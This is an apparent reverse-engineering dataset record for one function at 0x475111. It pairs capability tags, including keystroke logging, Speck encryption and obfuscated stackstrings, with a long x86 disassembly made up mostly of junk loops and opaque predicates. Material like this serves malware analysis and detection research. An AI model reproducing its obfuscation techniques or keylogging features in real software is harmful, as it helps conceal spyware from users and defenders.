Function at 0x475111
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encrypt data using speck
Get common file path
Get disk size
Get file size
Get graphical window text
Get memory capacity
Identify system language via api
Log keystrokes
Query environment variable
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c0ad7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x3b48
call fcn.004b01f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x2a28], 3
mov dword [ebp - 0x2a24], 3
mov dword [ebp - 0x2a20], 3
mov dword [ebp - 0x2a1c], 3
lea ecx, [ebp - 0xbe9]
call fcn.00433e4e
push eax
lea eax, [ebp - 0x2a18]
push eax
lea eax, [ebp - 0x2a28]
push eax
lea ecx, [ebp - 0x390c]
call fcn.00433e51
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2b58]
call fcn.00433dfd
mov dword [ebp - 0x424], 0xc8094a18
mov dword [ebp - 0x2ee0], 0xa29822cb
mov dword [ebp - 0x2d24], 2
mov dword [ebp - 0x2d28], 0x45b0e82c
mov dword [ebp - 0x2d30], 0x921b0ae2
mov dword [ebp - 0x2d38], 0xfffffffd
mov dword [ebp - 0x2d40], 1
mov dword [ebp - 0x2d48], 0xffffffff
mov dword [ebp - 0x2d50], 0x20c4365d
mov dword [ebp - 0x2d58], 9
mov dword [ebp - 0x2d60], 8
mov dword [ebp - 0x2d68], 1
mov dword [ebp - 0x424], 0
jmp 0x475228
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 3
jg 0x475342
mov dword [ebp - 0x21bc], 0xfffffffb
mov dword [ebp - 0x2d70], 0xfffffff9
mov dword [ebp - 0x2d78], 0xb03e3869
mov dword [ebp - 0x5f0], 0
jmp 0x47526c
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 4
jge 0x475288
mov eax, dword [ebp - 0x5f0]
mov dword [ebp + eax*4 - 0x3b38], 0xfffffff9
jmp 0x47525f
push dword [ebp - 0x424]
lea ecx, [ebp - 0x2b58]
call fcn.00433e3f
cmp dword [eax], 0
je 0x4752e7
mov dword [ebp - 0x5ec], 0xafd94fe5
mov dword [ebp - 0x5ec], 3
jmp 0x4752c1
mov eax, dword [ebp - 0x5ec]
dec eax
mov dword [ebp - 0x5ec], eax
cmp dword [ebp - 0x5ec], 0
jl 0x4752e5
mov esi, dword [ebp - 0x21bc]
push dword [ebp - 0x424]
lea ecx, [ebp - 0x2b58]
call fcn.00433e3f
mov dword [eax], esi
jmp 0x4752b4
jmp 0x47533d
mov dword [ebp - 0x2d80], 0xfffffffa
mov dword [ebp - 0x1108], 0x275c
mov dword [ebp - 0x7c4], 0
jmp 0x475314
mov eax, dword [ebp - 0x7c4]
inc eax
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 3
jge 0x475330
mov eax, dword [ebp - 0x7c4]
mov dword [ebp + eax*4 - 0x3a8c], 0xbd55fd0a
jmp 0x475307
mov eax, dword [ebp - 0x1108]
inc eax
mov dword [ebp - 0x1108], eax
jmp 0x47521b
lea ecx, [ebp - 0x2b58]
call fcn.00433e23
mov dword [ebp - 0xf0], 0xffffffff
mov dword [ebp - 0x5f4], 0
jmp 0x475370
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 1
jge 0x47538c
mov eax, dword [ebp - 0x5f4]
mov dword [ebp + eax*4 - 0x1ee0], 0x824a
jmp 0x475363
mov dword [ebp - 0xf0], 0
jmp 0x4753a5
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jge 0x4753c1
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x1ee0], 1
jmp 0x475398
mov dword [ebp - 0xf0], 0
jmp 0x4753da
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jge 0x4753f6
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x1ee0], 0
jmp 0x4753cd
mov dword [ebp - 0x29d8], 3
mov dword [ebp - 0x29d4], 3
mov dword [ebp - 0x29d0], 3
mov dword [ebp - 0x29cc], 3
lea ecx, [ebp - 0xbf1]
call fcn.00433e4e
push eax
lea eax, [ebp - 0x29c8]
push eax
lea eax, [ebp - 0x29d8]
push eax
lea ecx, [ebp - 0x39d4]
call fcn.00433e51
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2ba0]
call fcn.00433dfd
mov dword [ebp - 0x924], 0x9b55bb2c
mov dword [ebp - 0x2d88], 0xffffffff
mov dword [ebp - 0x2d90], 0xfffffff9
mov dword [ebp - 0x2d98], 0
mov dword [ebp - 0x220], 0
jmp 0x475494
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 3
jge 0x4754b0
mov eax, dword [ebp - 0x220]
mov dword [ebp + eax*4 - 0x3334], 0
jmp 0x475487
mov dword [ebp - 0x220], 0
jmp 0x4754c9
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 2
jge 0x4754e5
mov eax, dword [ebp - 0x220]
mov dword [ebp + eax*4 - 0x394c], 0x534de6f8
jmp 0x4754bc
mov dword [ebp - 0x924], 0x1b
jmp 0x4754fe
mov eax, dword [ebp - 0x924]
dec eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 0x15
jg 0x475797
mov dword [ebp - 0x7cc], 0x417be18
mov dword [ebp - 0x2da0], 0xd8ea5f34
mov dword [ebp - 0x2da8], 1
mov dword [ebp - 0x2db0], 0xafbebf0a
mov dword [ebp - 0x2db8], 0xfffffff9
mov dword [ebp - 0x2ed4], 0x34ccbb24
mov dword [ebp - 0x2edc], 0x9a5a165f
push 1
lea ecx, [ebp - 0x3364]
call fcn.00433d51
mov dword [ebp - 0x1ee8], 0x32dc718
mov dword [ebp - 0x5fc], 0
jmp 0x475581
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 1
jge 0x4755a3
push dword [ebp - 0x5fc]
lea ecx, [ebp - 0x3364]
call fcn.00433e3f
mov dword [eax], 0xfffffff6
jmp 0x475574
mov dword [ebp - 0x7cc], 2
jmp 0x4755bc
mov eax, dword [ebp - 0x7cc]
dec eax
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 0
jl 0x475787
mov dword [ebp - 0x4c0], 0xbd4dfbd6
mov dword [ebp - 0x604], 0
jmp 0x4755ec
mov eax, dword [ebp - 0x604]
inc eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 3
jge 0x475608
mov eax, dword [ebp - 0x604]
mov dword [ebp + eax*4 - 0x3a38], 6
jmp 0x4755df
mov dword [ebp - 0x4c0], 2
jmp 0x475621
mov eax, dword [ebp - 0x4c0]
dec eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0
jl 0x475782
mov dword [ebp - 0x538], 0x7ecc2443
mov dword [ebp - 0x2ee4], 0xe8fe7528
mov dword [ebp - 0x2eec], 0xb50f6b3
mov dword [ebp - 0x2ef4], 1
push 1
lea ecx, [ebp - 0x3354]
call fcn.00433d51
mov dword [ebp - 0x8b4], 0
jmp 0x47567c
mov eax, dword [ebp - 0x8b4]
inc eax
mov dword [ebp - 0x8b4], eax
cmp dword [ebp - 0x8b4], 1
jge 0x47569b
push dword [ebp - 0x8b4]
lea ecx, [ebp - 0x3354]
call fcn.00433e3f
and dword [eax], 0
jmp 0x47566f
mov dword [ebp - 0x538], 0
jmp 0x4756b4
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 2
jg 0x475772
mov dword [ebp - 0x2efc], 3
mov dword [ebp - 0x2f04], 0x2f88d967
mov dword [ebp - 0x2f0c], 0x51ae9a07
push 1
lea ecx, [ebp - 0x3344]
call fcn.00433d51
mov dword [ebp - 0x2f14], 0x790f9584
mov dword [ebp - 0x2f1c], 0x41536c74
mov dword [ebp - 0x60c], 0
jmp 0x475719
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 1
jge 0x47573b
push dword [ebp - 0x60c]
lea ecx, [ebp - 0x3344]
call fcn.00433e3f
mov dword [eax], 0xcd3bed16
jmp 0x47570c
mov eax, dword [ebp - 0x1ee8]
dec eax
mov dword [ebp - 0x1ee8], eax
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [ebp - 0x538]
mov eax, dword [ebp + eax*4 - 0x3334]
mov dword [ebp + ecx*4 - 0x3334], eax
lea ecx, [ebp - 0x3344]
call fcn.00433e23
jmp 0x4756a7
lea ecx, [ebp - 0x3354]
call fcn.00433e23
jmp 0x475614
jmp 0x4755af
lea ecx, [ebp - 0x3364]
call fcn.00433e23
jmp 0x4754f1
mov dword [ebp - 0x4ac], 0xc8094a18
mov dword [ebp - 0x4c8], 0xfffffffc
mov dword [ebp - 0x7d4], 0
jmp 0x4757c4
mov eax, dword [ebp - 0x7d4]
inc eax
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x7d4], 3
jge 0x4757e0
mov eax, dword [ebp - 0x7d4]
mov dword [ebp + eax*4 - 0xc34], 8
jmp 0x4757b7
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xc34], 0
jmp 0x47580e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc34]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xc34], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc34], 0x1a
jl 0x475a99
push 3
lea ecx, [ebp - 0xc98]
call fcn.00433d51
mov dword [ebp - 0x1f2c], 0x86e1459f
mov dword [ebp - 0x614], 0
jmp 0x475852
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 3
jge 0x475874
push dword [ebp - 0x614]
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
mov dword [eax], 0x3191b495
jmp 0x475845
push 0
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc34]
mov dword [ebp - 0x2f24], eax
xor eax, eax
inc eax
jne 0x4758b4
push 2
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
cmp dword [eax], 0
jne 0x4758b4
and dword [ebp - 0x1ef0], 0
jmp 0x4758be
mov dword [ebp - 0x1ef0], 1
mov eax, dword [ebp - 0x1ef0]
dec eax
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xc34]
jl 0x4758db
cmp dword [ebp - 0x1f2c], 0
mov eax, 0x339b
imul eax, eax, 0xdba1
test eax, eax
je 0x4758ff
mov eax, 0x4cf22a1e
test eax, eax
je 0x4758ff
mov dword [ebp - 0x1ef8], 1
jmp 0x475906
and dword [ebp - 0x1ef8], 0
push 0
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
mov eax, dword [eax]
add eax, dword [ebp - 0x1ef8]
cmp eax, 0xfffffff8
jae 0x47592c
mov dword [ebp - 0x1f00], 1
jmp 0x475933
and dword [ebp - 0x1f00], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1f00]
sub ecx, dword [ebp + eax - 0xc34]
cmp ecx, 0x2169
jg 0x47595a
mov dword [ebp - 0x1f14], 1
jmp 0x475961
and dword [ebp - 0x1f14], 0
cmp dword [ebp - 0x1f14], 0xfffffffa
je 0x475977
push 0
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xc34]
neg esi
sub esi, 0x7a3f0aea
neg esi
push 2
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
cmp esi, dword [eax]
jle 0x4759ab
mov dword [ebp - 0x1f1c], 1
jmp 0x4759b2
and dword [ebp - 0x1f1c], 0
cmp dword [ebp - 0x1f1c], 6
je 0x4759c7
mov dword [ebp - 0x1f24], 1
jmp 0x4759ce
and dword [ebp - 0x1f24], 0
mov eax, dword [ebp - 0x1f24]
mov dword [ebp - 0x1f2c], eax
mov eax, 0x996f
test eax, eax
je 0x4759f5
push 0
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
cmp dword [eax], 0
jne 0x475a10
push 0
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
cmp dword [eax], 0
jne 0x475a10
and dword [ebp - 0x1f34], 0
jmp 0x475a1a
mov dword [ebp - 0x1f34], 1
push 0
lea ecx, [ebp - 0xc98]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1f34]
cmp ecx, dword [eax]
je 0x475a3d
mov dword [ebp - 0x1f3c], 1
jmp 0x475a44
and dword [ebp - 0x1f3c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc34]
cmp eax, dword [ebp - 0x1f3c]
jg 0x475a65
mov dword [ebp - 0x2388], 1
jmp 0x475a6c
and dword [ebp - 0x2388], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc34]
mov dword [ebp - 0x2f2c], eax
mov dword [ebp - 0x4c8], 0x9096a9cb
lea ecx, [ebp - 0xc98]
call fcn.00433e23
jmp 0x4757f3
mov dword [ebp - 0x4c8], 2
jmp 0x475ab2
mov eax, dword [ebp - 0x4c8]
dec eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 0
jl 0x475bc6
push 1
lea ecx, [ebp - 0x25e8]
call fcn.00433d51
mov dword [ebp - 0x97c], 0
jmp 0x475ae5
mov eax, dword [ebp - 0x97c]
inc eax
mov dword [ebp - 0x97c], eax
cmp dword [ebp - 0x97c], 1
jge 0x475b07
push dword [ebp - 0x97c]
lea ecx, [ebp - 0x25e8]
call fcn.00433e3f
mov dword [eax], 0x37f5e175
jmp 0x475ad8
push 0
lea ecx, [ebp - 0x25e8]
call fcn.00433e3f
and dword [eax], 0
jmp 0x475b3d
push 0
lea ecx, [ebp - 0x25e8]
call fcn.00433e3f
mov dword [ebp - 0x1f44], eax
mov eax, dword [ebp - 0x1f44]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1f44]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x25e8]
call fcn.00433e3f
cmp dword [eax], 2
jg 0x475bb6
mov dword [ebp - 0x580], 2
mov byte [ebp - 0x3fb], 0
movzx eax, byte [ebp - 0x3fb]
test eax, eax
je 0x475b7c
push 0
push 0xecf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
mov dword [ebp - 0x580], 0
jmp 0x475b95
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 2
jg 0x475bb1
mov eax, dword [ebp - 0x580]
mov dword [ebp + eax*4 - 0xc34], 0xad702c91
jmp 0x475b88
jmp 0x475b19
lea ecx, [ebp - 0x25e8]
call fcn.00433e23
jmp 0x475aa5
mov dword [ebp - 0x2f34], 0xa29822cb
mov dword [ebp - 0x61c], 0x9b55bb2c
mov dword [ebp - 0x2f3c], 0xffffffff
mov dword [ebp - 0x2f44], 0xfffffff9
mov dword [ebp - 0x2f4c], 0
mov dword [ebp - 0x15c], 0
jmp 0x475c11
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 3
jge 0x475c2d
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x3374], 0
jmp 0x475c04
mov dword [ebp - 0x15c], 0
jmp 0x475c46
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jge 0x475c62
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x396c], 0x534de6f8
jmp 0x475c39
mov dword [ebp - 0x61c], 0x1b
jmp 0x475c7b
mov eax, dword [ebp - 0x61c]
dec eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0x15
jg 0x475f14
mov dword [ebp - 0x624], 0x417be18
mov dword [ebp - 0x2f54], 0xd8ea5f34
mov dword [ebp - 0x2f5c], 1
mov dword [ebp - 0x2f64], 0xafbebf0a
mov dword [ebp - 0x2f6c], 0xfffffff9
mov dword [ebp - 0x2f74], 0x34ccbb24
mov dword [ebp - 0x2f7c], 0x9a5a165f
push 1
lea ecx, [ebp - 0x33a4]
call fcn.00433d51
mov dword [ebp - 0x1f4c], 0x32dc718
mov dword [ebp - 0x7dc], 0
jmp 0x475cfe
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 1
jge 0x475d20
push dword [ebp - 0x7dc]
lea ecx, [ebp - 0x33a4]
call fcn.00433e3f
mov dword [eax], 0xfffffff6
jmp 0x475cf1
mov dword [ebp - 0x624], 2
jmp 0x475d39
mov eax, dword [ebp - 0x624]
dec eax
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
jl 0x475f04
mov dword [ebp - 0x4d0], 0xbd4dfbd6
mov dword [ebp - 0x8bc], 0
jmp 0x475d69
mov eax, dword [ebp - 0x8bc]
inc eax
mov dword [ebp - 0x8bc], eax
cmp dword [ebp - 0x8bc], 3
jge 0x475d85
mov eax, dword [ebp - 0x8bc]
mov dword [ebp + eax*4 - 0x3aa4], 6
jmp 0x475d5c
mov dword [ebp - 0x4d0], 2
jmp 0x475d9e
mov eax, dword [ebp - 0x4d0]
dec eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 0
jl 0x475eff
mov dword [ebp - 0x540], 0x7ecc2443
mov dword [ebp - 0x2f84], 0xe8fe7528
mov dword [ebp - 0x2f8c], 0xb50f6b3
mov dword [ebp - 0x2f94], 1
push 1
lea ecx, [ebp - 0x3394]
call fcn.00433d51
mov dword [ebp - 0x62c], 0
jmp 0x475df9
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 1
jge 0x475e18
push dword [ebp - 0x62c]
lea ecx, [ebp - 0x3394]
call fcn.00433e3f
and dword [eax], 0
jmp 0x475dec
mov dword [ebp - 0x540], 0
jmp 0x475e31
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 2
jg 0x475eef
mov dword [ebp - 0x2f9c], 3
mov dword [ebp - 0x2fa4], 0x2f88d967
mov dword [ebp - 0x2fac], 0x51ae9a07
push 1
lea ecx, [ebp - 0x3384]
call fcn.00433d51
mov dword [ebp - 0x2fb4], 0x790f9584
mov dword [ebp - 0x2fbc], 0x41536c74
mov dword [ebp - 0x7e4], 0
jmp 0x475e96
mov eax, dword [ebp - 0x7e4]
inc eax
mov dword [ebp - 0x7e4], eax
cmp dword [ebp - 0x7e4], 1
jge 0x475eb8
push dword [ebp - 0x7e4]
lea ecx, [ebp - 0x3384]
call fcn.00433e3f
mov dword [eax], 0xcd3bed16
jmp 0x475e89
mov eax, dword [ebp - 0x1f4c]
dec eax
mov dword [ebp - 0x1f4c], eax
mov eax, dword [ebp - 0x4d0]
mov ecx, dword [ebp - 0x540]
mov eax, dword [ebp + eax*4 - 0x3374]
mov dword [ebp + ecx*4 - 0x3374], eax
lea ecx, [ebp - 0x3384]
call fcn.00433e23
jmp 0x475e24
lea ecx, [ebp - 0x3394]
call fcn.00433e23
jmp 0x475d91
jmp 0x475d2c
lea ecx, [ebp - 0x33a4]
call fcn.00433e23
jmp 0x475c6e
mov dword [ebp - 0x2fc4], 2
push 3
lea ecx, [ebp - 0x281c]
call fcn.00433d51
push 4
lea ecx, [ebp - 0x2c00]
call fcn.00433d51
mov dword [ebp - 0x2fcc], 0x43d2717f
mov dword [ebp - 0x68], 0
jmp 0x475f52
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x475f68
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x260], 0xede0
jmp 0x475f4b
mov dword [ebp - 0x68], 0
jmp 0x475f78
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x475f94
push dword [ebp - 0x68]
lea ecx, [ebp - 0x281c]
call fcn.00433e3f
mov dword [eax], 0xfffffff9
jmp 0x475f71
mov dword [ebp - 0x68], 0
jmp 0x475fa4
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x475fbd
push dword [ebp - 0x68]
lea ecx, [ebp - 0x2c00]
call fcn.00433e3f
or dword [eax], 0xffffffff
jmp 0x475f9d
mov byte [ebp - 0x40d], 0
movzx eax, byte [ebp - 0x40d]
test eax, eax
je 0x475fdf
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x260], 0
je 0x4760ae
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x260], 0x15d7249a
jge 0x476012
mov dword [ebp - 0x1f54], 1
jmp 0x476019
and dword [ebp - 0x1f54], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x260]
mov dword [ebp - 0x2fd4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x260]
mov dword [ebp - 0x2fdc], eax
push 0
lea ecx, [ebp - 0x281c]
call fcn.00433e3f
mov dword [eax], 0x6d21
cmp dword [ebp - 0x1f54], 0x6d21
jg 0x47606a
mov dword [ebp - 0x1f5c], 1
jmp 0x476071
and dword [ebp - 0x1f5c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x260]
imul eax, dword [ebp - 0x1f5c]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x260]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x260]
jl 0x4760ae
mov dword [ebp - 0x2390], 1
jmp 0x4760b5
and dword [ebp - 0x2390], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x260]
mov dword [ebp - 0x2fe4], eax
push 0
lea ecx, [ebp - 0x281c]
call fcn.00433e3f
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x260]
push 3
lea ecx, [ebp - 0x2c00]
call fcn.00433e3f
mov dword [eax], esi
lea ecx, [ebp - 0x2c00]
call fcn.00433e23
lea ecx, [ebp - 0x281c]
call fcn.00433e23
mov dword [ebp - 0x2fec], 0x45b0e82c
mov dword [ebp - 0x2ff4], 0x921b0ae2
mov dword [ebp - 0x2ffc], 0xfffffffd
mov dword [ebp - 0x118], 0x318d5816
push 2
lea ecx, [ebp - 0x5c8]
call fcn.00433d51
mov dword [ebp - 0xf8], 8
mov dword [ebp - 0x278], 0x4abc2489
mov dword [ebp - 0xbd8], 0xffffffff
mov dword [ebp - 0x23a8], 0xc3a871d1
mov dword [ebp - 0x634], 0
jmp 0x47617d
mov eax, dword [ebp - 0x634]
inc eax
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 2
jge 0x47619f
push dword [ebp - 0x634]
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov dword [eax], 0xfffffffe
jmp 0x476170
cmp dword [ebp - 0x118], 0
jne 0x476261
push 1
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
push 1
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
push 1
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov esi, eax
push 0
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x4761f4
mov dword [ebp - 0x1f64], 1
jmp 0x4761fb
and dword [ebp - 0x1f64], 0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x2398], eax
mov eax, dword [ebp - 0x1f64]
mov dword [ebp - 0x23a0], eax
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x2398]
cmp eax, dword [ebp - 0x23a0]
je 0x47623a
mov dword [ebp - 0x1f6c], 1
jmp 0x476241
and dword [ebp - 0x1f6c], 0
push 0
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1f6c]
cmp ecx, dword [eax]
je 0x476261
and dword [ebp - 0x9e0], 0
jmp 0x47626b
mov dword [ebp - 0x9e0], 1
push 0
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov ecx, dword [ebp - 0x9e0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9e0]
neg eax
cmp eax, dword [ebp - 0x118]
jle 0x47629c
mov dword [ebp - 0x1f74], 1
jmp 0x4762a3
and dword [ebp - 0x1f74], 0
mov eax, dword [ebp - 0x1f74]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x278]
cmp eax, 0xfffffffd
jge 0x4766a7
mov dword [ebp - 0xb30], 0x642e5f0e
mov dword [ebp - 0x9e8], 0x86a67606
mov dword [ebp - 0x320], 1
push 2
lea ecx, [ebp - 0x2834]
call fcn.00433d51
mov dword [ebp - 0x27d4], 0x6ddf
mov dword [ebp - 0x27d0], 0x6ddf
mov dword [ebp - 0x27cc], 0x6ddf
mov dword [ebp - 0x27c8], 0x6ddf
mov dword [ebp - 0x92c], 0
jmp 0x476330
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 2
jge 0x476352
push dword [ebp - 0x92c]
lea ecx, [ebp - 0x2834]
call fcn.00433e3f
mov dword [eax], 0xfffffff9
jmp 0x476323
push 1
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
cmp dword [eax], 0
jne 0x47645d
cmp dword [ebp - 0x320], 0
jne 0x476378
cmp dword [ebp - 0x278], 0
push 1
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax]
jne 0x4763a1
cmp dword [ebp - 0x118], 0
jne 0x4763a1
and dword [ebp - 0x1f7c], 0
jmp 0x4763ab
mov dword [ebp - 0x1f7c], 1
mov eax, dword [ebp - 0x320]
cmp dword [ebp - 0x1f7c], eax
jge 0x4763c5
mov dword [ebp - 0x1f84], 1
jmp 0x4763cc
and dword [ebp - 0x1f84], 0
push 1
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1f84]
cmp ecx, dword [eax]
jge 0x4763ef
mov dword [ebp - 0x1f8c], 1
jmp 0x4763f6
and dword [ebp - 0x1f8c], 0
mov eax, dword [ebp - 0x1f8c]
sub eax, dword [ebp - 0x320]
cmp eax, 0xcf2842c5
jb 0x476415
mov dword [ebp - 0x1f94], 1
jmp 0x47641c
and dword [ebp - 0x1f94], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x1f94], eax
jl 0x476436
mov dword [ebp - 0x1f9c], 1
jmp 0x47643d
and dword [ebp - 0x1f9c], 0
push 1
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1f9c]
add ecx, dword [eax]
jne 0x47645d
and dword [ebp - 0x1fa4], 0
jmp 0x476467
mov dword [ebp - 0x1fa4], 1
cmp dword [ebp - 0x1fa4], 0xfffffffb
jl 0x47647c
mov dword [ebp - 0x1fac], 1
jmp 0x476483
and dword [ebp - 0x1fac], 0
cmp dword [ebp - 0x1fac], 0xffffffff
je 0x476498
mov dword [ebp - 0x1fb4], 1
jmp 0x47649f
and dword [ebp - 0x1fb4], 0
mov eax, dword [ebp - 0x320]
cmp dword [ebp - 0x1fb4], eax
je 0x4764b9
mov dword [ebp - 0x1fbc], 1
jmp 0x4764c0
and dword [ebp - 0x1fbc], 0
mov eax, dword [ebp - 0x1fbc]
mov dword [ebp - 0x320], eax
mov esi, dword [ebp - 0x320]
sub esi, dword [ebp - 0x118]
push 0
lea ecx, [ebp - 0x2834]
call fcn.00433e3f
cmp esi, dword [eax]
jge 0x4764f5
mov dword [ebp - 0x1fc4], 1
jmp 0x4764fc
and dword [ebp - 0x1fc4], 0
mov eax, dword [ebp - 0x9e8]
dec eax
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0xb30]
mov dword [ebp - 0xb30], eax
mov eax, dword [ebp - 0xb30]
mov ecx, dword [ebp - 0x9e8]
add eax, dword [ebp - 0x1fc4]
add ecx, eax
je 0x476547
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x27d4], 0
je 0x476547
mov dword [ebp - 0x1fcc], 1
jmp 0x47654e
and dword [ebp - 0x1fcc], 0
push 0
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
mov esi, dword [ebp - 0x1fcc]
imul esi, dword [eax]
neg esi
imul esi, dword [ebp - 0xbd8]
push 1
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
cmp esi, dword [eax]
jge 0x47658a
mov dword [ebp - 0x1fd4], 1
jmp 0x476591
and dword [ebp - 0x1fd4], 0
mov eax, dword [ebp - 0xbd8]
imul eax, dword [ebp - 0x1fd4]
test eax, eax
jne 0x4765ae
mov dword [ebp - 0xd18], 1
jmp 0x4765b5
and dword [ebp - 0xd18], 0
mov eax, dword [ebp - 0x23a8]
